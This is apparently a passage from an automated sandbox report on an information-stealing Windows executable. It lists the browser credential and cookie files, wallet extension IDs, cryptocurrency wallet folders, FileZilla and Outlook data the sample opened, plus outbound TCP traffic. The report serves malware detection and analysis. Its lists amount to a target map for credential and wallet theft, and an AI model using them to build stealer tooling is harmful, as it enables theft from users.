Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 39c228201d.exe, 00000011.00000003.2867578340.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live1

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49828 -> 34.118.84.150:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
